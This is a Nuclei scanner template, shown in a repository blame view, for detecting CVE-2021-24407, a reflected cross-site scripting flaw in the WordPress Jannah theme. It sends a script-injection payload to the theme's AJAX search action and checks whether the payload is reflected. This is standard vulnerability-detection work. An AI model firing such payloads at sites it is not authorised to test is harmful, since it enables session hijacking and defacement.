nuclei-templates/http/cves/2021/CVE-2021-24407.yaml

70 lines
2.3 KiB
YAML
Raw Normal View History

2021-09-15 04:51:50 +00:00
id: CVE-2021-24407
info:
name: WordPress Jannah Theme <5.4.5 - Cross-Site Scripting
2021-09-15 04:51:50 +00:00
author: pikpikcu
severity: medium
description: WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 12:09:01 +00:00
remediation: |
Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
2021-09-15 04:51:50 +00:00
reference:
- https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153
- https://nvd.nist.gov/vuln/detail/CVE-2021-24407
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24407
cwe-id: CWE-79
epss-score: 0.00207
epss-percentile: 0.58055
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: tielabs
product: jannah
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,wordpress,xss,wp-theme,wpscan,tielabs
2024-03-26 17:26:22 +00:00
flow: http(1) && http(2)
http:
2024-03-26 17:26:22 +00:00
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/themes/jannah/assets/'
- 'attachment-jannah-image-'
condition: or
2021-09-15 04:51:50 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
2021-09-16 17:16:36 +00:00
action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>
2021-09-15 04:51:50 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-09-15 04:51:50 +00:00
words:
2021-09-16 17:16:36 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-15 04:51:50 +00:00
- type: word
part: header
2021-09-16 17:16:36 +00:00
words:
- text/html
2021-09-15 04:51:50 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100a876f00fdc3eb21c7cf5e9e9c5227ff39b40d55af7669f205a6def322179eefb02202ba5e17e0f6a3f89085d5e0b0cb91635833014c28a5395d68a513213a0787da4:922c64590222798bb761d5b6d8e72950